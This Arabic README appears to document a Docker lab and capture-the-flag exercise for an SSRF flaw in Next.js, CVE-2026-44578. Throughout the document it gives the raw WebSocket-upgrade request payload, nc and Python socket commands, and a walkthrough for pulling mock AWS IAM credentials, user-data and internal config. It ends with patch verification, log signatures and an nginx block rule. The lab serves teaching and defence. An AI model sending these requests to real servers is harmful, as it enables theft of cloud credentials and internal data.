
هذا المختبر قد يكون جيدًا أو سيئًا، لكنه قيد الاختبار ويجب أن يعمل، اسأل الذكاء الاصطناعي ههههه
| الحقل | القيمة |
|---|
| CVE | CVE-2026-44578 |
| GHSA | GHSA-c4j6-fc7j-m34r |
| CVSS 3.1 | 8.6 HIGH (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N) |
| النوع | SSRF (CWE-918) |
| الإصدارات المتأثرة | Next.js 13.4.13 – 15.5.15 و 16.0.0 – 16.2.4 |
| الإصدارات المُصححة | 15.5.16 و 16.2.5 |
| المصادقة | لا شيء |
| تفاعل المستخدم | لا شيء |
المهاجم (host: 0.0.0.0)
│ HTTP :3000 (عام)
▼
┌──────────────────────────┐ نفس مساحة الشبكة ┌─────────────────────┐
│ nextjs-vuln │ localhost:80 ──────────► │ imds-sidecar │
│ Next.js 15.5.0 │ │ Fake AWS IMDSv1 │
│ "Nimbus Analytics" │ │ (بيانات الاعتماد، │
│ (خادم Node المدمج) │ │ user-data، الفهرس) │
└──────────────────────────┘ └─────────────────────┘
nextjs-vuln (المنفذ 3000): التطبيق الضعيف، مكشوف على 0.0.0.0:3000.imds-sidecar: محاكاة لخدمة بيانات AWS الوصفية التي تعيش على
localhost:80 داخل مساحة حاوية Next.js، لمحاكاة مثيل حقيقي في السحابة.
لا يمكن الوصول إليه من المضيف مباشرة (لا يوجد منفذ منشور). CVE-2026-44578/
├── docker-compose.yml
├── exploit/
│ └── exploit.py # PoC آلي (5 فحوصات)
├── imds-mock/
│ ├── Dockerfile
│ └── server.py # Fake IMDSv1 + مسارات سرية
└── nextjs-app/ # تطبيق واقعي "Nimbus Analytics"
├── app/
│ ├── globals.css
│ ├── layout.js # شريط التنقل/التذييل
│ ├── page.js # الصفحة الرئيسية
│ ├── api/health/route.js
│ ├── login/page.js
│ ├── pricing/page.js
│ └── dashboard/page.js
├── Dockerfile
└── package.json # [email protected] (ضعيف)
معالج ترقية WebSocket في router-server.ts يستدعي proxyRequest()
عندما يحتوي URI المُحلَّل على parsedUrl.protocol، دون التحقق من
علامتي finished و statusCode اللتين كان معالج HTTP العادي يصدرهما دائمًا:
// ضعيف (<= 15.5.15)
- if (parsedUrl.protocol) {
- return await proxyRequest(req, socket, parsedUrl, head)
// التصحيح (commit c4f69086)
+ if (finished && parsedUrl.protocol) {
+ if (!statusCode) {
+ return await proxyRequest(req, socket, parsedUrl, head)
+ }
+ return socket.end()
مسار الهجوم يستخدم سطر طلب مع URI مطلق بشرطتين مائلتين:
GET http:///path. normalizeRepeatedSlashes يدمج http:/// إلى http:/،
فيبقى بدون اسم مضيف، ثم يتصل http-proxy بـ localhost:80 مع
المسار كما هو:
GET http:///latest/meta-data/iam/security-credentials/<ROLE> HTTP/1.1
Host: 127.0.0.1:3000
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
وجود ترويسات Connection: Upgrade + Upgrade: websocket يجعل
الطلب يقع في معالج الترقية الضعيف بدلاً من معالج HTTP الذي يحتوي
على فحوصات الأمان.
docker compose up -d --build
التحقق من استجابة التطبيق:
curl -s http://127.0.0.1:3000/api/health
curl -s http://localhost:3000/ | head
لجعله يعمل على 0.0.0.0، فإن تعيين المنافذ في
docker-compose.yml يكشف بالفعل 3000:3000 على جميع الواجهات.
nc)printf "GET http:///latest/meta-data/ HTTP/1.1\r\n\
Host: 127.0.0.1:3000\r\n\
Connection: Upgrade\r\n\
Upgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\n\
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" \
| nc -w 5 127.0.0.1 3000
python3 - <<'EOF'
import socket
s = socket.create_connection(("127.0.0.1", 3000), timeout=5)
s.sendall(b"GET http:///latest/meta-data/instance-id HTTP/1.1\r\n"
b"Host: 127.0.0.1:3000\r\n"
b"Connection: Upgrade\r\nUpgrade: websocket\r\n"
b"Sec-WebSocket-Version: 13\r\n"
b"Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n")
print(s.recv(4096).decode())
EOF
python3 exploit/exploit.py 127.0.0.1 3000
تدفق كامل يدوي 100%، في 4 مراحل. هناك 4 أعلام مخفية في
الخدمة الداخلية (localhost:80)؛ هذا الدليل يعرض التدفق حتى
الأول ويترك لك المسارات للعثور على الباقي.
# بصمة الخادم
curl -sI http://127.0.0.1:3000/
# HTTP/1.1 200 OK
# x-powered-by: Next.js
# x-http-method-override: 0.0.0.0
# المنافذ المفتوحة عبر socket (بدون nmap)
python3 -c 'import socket
for p in (22,80,3000,6379):
s=socket.socket(); open_=(s.connect_ex(("127.0.0.1",p))==0); s.close()
if open_: print(p,"OPEN")'
لا يوجد وصول مباشر إلى 127.0.0.1:80 من المهاجم: المتجه الوحيد هو
جعل خادم Next.js (الذي يعيش بالفعل على نفس شبكة الخدمة الداخلية)
يطلب نيابة عنا.
أولاً نؤكد SSRF بالسؤال عن فهرس خدمة البيانات الوصفية:
printf "GET http:///latest/meta-data/ HTTP/1.1\r\n\
Host: 127.0.0.1:3000\r\n\
Connection: Upgrade\r\nUpgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\n\
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 127.0.0.1 3000
استجابة الفهرس ← المرشحون: instance-id، hostname،
iam/security-credentials/، user-data (العلم الأول). فهرس
latest/meta-data/ يكشف أيضًا مفاتيح فرعية تستحق المزيد من الاستكشاف.
GET http:///latest/user-data HTTP/1.1
| الجزء | الوظيفة |
|---|---|
GET | الثغرة توكّل GET فقط |
http:///latest/user-data | URI مطلق. http:/// ينهار إلى http:/ ← اسم مضيف فارغ ← الوكيل يتصل بـ localhost:80 محافظًا على المسار /latest/user-data |
Host: 127.0.0.1:3000 | وإلا يستجيب الخادم بـ 400 |
Connection: Upgrade + Upgrade: websocket | يحوّلان الطلب إلى معالج الترقية الضعيف (معالج HTTP العادي يتحقق بالفعل) |
Sec-WebSocket-Version: 13 / -Key: dGhlIHNhbXBsZSBub25jZQ== | ترويسات الحد الأدنى المطلوبة في مصافحة شرعية |
الإنهاء: \r\n\r\n على الـ socket الخام (بدون جسم).
# الخيار A: netcat
printf "GET http:///latest/user-data HTTP/1.1\r\n\
Host: 127.0.0.1:3000\r\n\
Connection: Upgrade\r\nUpgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\n\
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 127.0.0.1 3000
# الخيار B: socket خام في Python (نفس الدقة، بدون nc)
python3 - <<'EOF'
import socket
s = socket.create_connection(("127.0.0.1", 3000), timeout=5)
s.sendall(b"GET http:///latest/user-data HTTP/1.1\r\n"
b"Host: 127.0.0.1:3000\r\n"
b"Connection: Upgrade\r\nUpgrade: websocket\r\n"
b"Sec-WebSocket-Version: 13\r\n"
b"Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n")
print(s.recv(4096).decode())
EOF
المخرجات — العلم الأول يصل في جسم استجابة الخدمة الداخلية:
HTTP/1.0 200 OK
server: BaseHTTP/0.6 Python/3.12.14
#!/bin/bash
echo 'instance started'
DB_PASS=supersecret123
FLAG{*******1_de_4*******}
تم الحصول على العلم 1/4. ترويسة server: BaseHTTP/0.6 ... (محاكاة Python)
تؤكد أن الطلب سافر مهاجم → Next.js → localhost:80، أي أن
العلم تم تسريبه من الشبكة الداخلية عبر SSRF. الأعلام الثلاثة الأخرى
موزعة على مسارات خدمة البيانات الوصفية والخدمة الداخلية — فهرس
latest/meta-data/ هو خريطتك. ابحث عن الباقي.
محاكاة IMDS (localhost:80) تمثل خدمة بيانات AWS الوصفية الحقيقية: إنها
شجرة قابلة للتصفح. كل دليل (ينتهي بـ /) يستجيب بفهرس
مساراته الفرعية؛ طلب دليل بدون / يعيد توجيه 301. لا توجد
مسارات مخفية: لا يتطلب أي علم تخمينًا — كل شيء يُكتشف
بتصفح الفهارس.
/ → latest/
├── meta-data/ → ami-id, hostname, iam/, instance-id, instance-type,
│ local-hostname, placement/, public-hostname, tags/
├── dynamic/ → instance-identity/
└── user-data → سكربت الإقلاع (يشير إلى internal/config)
| المسار | المحتوى |
|---|---|
latest/meta-data/ | فهرس البيانات الوصفية (أعلاه) |
latest/meta-data/iam/security-credentials/ | الدور lab-ssrf-role |
latest/meta-data/iam/security-credentials/lab-ssrf-role | JSON مع AccessKeyId و SecretAccessKey و Token |
latest/user-data | سكربت إقلاع مع بيانات اعتماد قاعدة البيانات |
latest/dynamic/instance-identity/document | JSON لهوية المثيل |
internal/config | إعداد خدمة داخلية (DB، مفتاح API) — مشار إليه بواسطة user-data |
تحدي CTF: هناك 4 أعلام، وكل واحد هو أثر حقيقي في سلسلة استغلال SSRF ضد AWS: (1) user-data للإقلاع، (2) بيانات اعتماد IAM، (3) مستند الهوية، (4) إعداد خدمة داخلية. قيمها غير منشورة. تصفح الفهارس (
/→latest/→ …) وستتابع من لافتة إلى لافتة؛ سكربت user-data يخبرك أين يعيش الرابع. لا حاجة لتخمين المسارات: 404 فقط يكشف أنك تخترع مسارًا غير موجود.
النسخة الكاملة مع سلسلة علم→علم في مستندها الخاص: SOLUCION.md (كل علم يعطيك تلميح التالي، خارج هذا README).
القاعدة: لكل علم تلميح، عائق وحل. حاول أولاً بالتلميح؛ استخدم العائق عندما تتعثر. لا توجد مسارات مخفية: لا أحد يخدع، كل شيء يُتصفح.
تحذيران قبل البدء:
ssrf() جاهز بالفعل في SOLUCION.md →
التحضير: انسخه واستخدمه لبقية الدليل. يرسل طلب
GET http:///<path> مع Connection: Upgrade + Upgrade: websocket.RkxBR3… (base64 لـ FLAG{…}). فك تشفيرها:
echo <blob> | base64 -d./latest/user-data؟ إنه أول ما
يفحصه أي مهاجم في AWS./ في النهاية.
ssrf latest/meta-data يعطيك 301 Moved Permanently و Location: latest/meta-data/. = "اتبعني". مع nc لا يوجد متابعة تلقائية: كرر
الطلب مع الشرطة المائلة.ssrf latest/user-data
في الجسم: سكربت الإقلاع مع DB_PASS=… (العلم 1 موجود هناك)،
وسطر curl -s http://internal/config وهو خريطة العلم 4.
latest/meta-data/iam/security-credentials/ واطلب الدور
الذي يظهر.Token ليس حشوًا): الـ 200 يجلب JSON طويلًا.
AccessKeyId/SecretAccessKey يقفزان للعين؛ العلم 2 ليس هناك:
حقل Token هو سلسلة base64 واحدة. فك تشفيرها.ssrf latest/meta-data/iam/security-credentials/lab-ssrf-role
latest/meta-data/ ليست الشجرة الوحيدة. انظر إلى الفهرس الجذري:
هناك dynamic/ لا يفتحه أحد تقريبًا.dynamic/ → instance-identity/ →
document. ثلاث درجات؛ في كل واحدة يجب أن ينتهي ssrf الخاص بك بـ /
(باستثناء document). يضيع الناس لعدم إعادة الطلب بعد 301.ssrf latest/dynamic/
ssrf latest/dynamic/instance-identity/
ssrf latest/dynamic/instance-identity/document
JSON الهوية يتضمن مفتاح FLAG مع العلم 3 (في base64).
إذا أعادت سلسلة أوامرك 301 في الدرجة الثانية، تذكر درس العائق 1.
curl -s http://internal/config.internal لا يُحل.
"internal" هو اسم مستعار من جانب الخادم، ليس من جانبك. لا تغير
المضيف: SSRF يهبط دائمًا على localhost:80؛ تختار فقط المسار.ssrf internal/config
التحقق من الأربعة (blob base64 → مفكوك):
ssrf latest/user-data | grep -o 'RkxBR3[A-Za-z0-9+/=]*' | base64 -d; echo
ssrf latest/dynamic/instance-identity/document | grep -o 'RkxBR3[A-Za-z0-9+/=]*' | base64 -d; echo
ssrf internal/config | grep -o 'RkxBR3[A-Za-z0-9+/=]*' | base64 -d; echo
ssrf latest/meta-data/iam/security-credentials/lab-ssrf-role | grep -o 'RkxBR3[A-Za-z0-9+/=]*' | base64 -d; echo
4/4 أعلام في اليد. إذا لم يخرج لك أحدها FLAG{...}، فأنت تعرف: راجع
curl الخاص بـ user-data (عائق العلم 4) أو / الفهارس (عائق العلم 1).
استخدام يدوي، على سبيل المثال بيانات اعتماد IAM:
printf "GET http:///latest/meta-data/iam/security-credentials/lab-ssrf-role HTTP/1.1\r\n\
Host: 127.0.0.1:3000\r\n\
Connection: Upgrade\r\n\
Upgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\n\
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 127.0.0.1 3000
النتيجة المتوقعة — الاستجابة تصل مع server: BaseHTTP/0.6 Python/3.12.x
(المحاكاة)، وليس مع لافتة Next.js، مما يثبت أن الطلب تم
بواسطة الخادم نحو localhost:80:
HTTP/1.0 200 OK
server: BaseHTTP/0.6 Python/3.12.14
content-type: text/plain
{"Code": "Success", ..., "AccessKeyId": "AKIA-FAKE-ACCESS-KEY-ID", "SecretAccessKey": "FAKE/Secret+Access/Key+1234567890abcdef", ...}
الـ PoC يتحقق من SSRF لكنه يرقّب الأعلام: كتل base64 الخاصة بـ
FLAG{...} و FLAG{...} الصريحة تُعرض كنص مرقّب. القيم
لا تُحصل إلا بالاستكشاف اليدوي (قسم CTF أعلاه).
--- IAM Creds ---
HTTP/1.0 200 OK
{"Code": "Success", ..., "Token": "RkxBR3******** (علم مشفر: استغلال يدوي) ***"}
--- User Data ---
HTTP/1.0 200 OK
#!/bin/bash
flag=RkxBR3******** (علم مشفر: استغلال يدوي) ***
http:///).Upgrade: websocket بـ 400).لتأكيد أن التصحيح (Next.js ≥ 15.5.16) يمنع الهجوم، غيّر الإصدار
في nextjs-app/package.json إلى 15.5.16، أعد البناء وأعد تنفيذ
نفس الحمولة: سيُغلق الاتصال دون إرجاع بيانات.
توقيعات في سجلات عملية Next.js:
Failed to proxy http:/ — الوكيل انطلق لكن الوجهة كانت غير قابلة للوصول.http: بجانب
ترويسات Connection: Upgrade / Upgrade: websocket.HttpTokens=required) في AWS.if ($request_uri ~* "^https?://") { return 400; }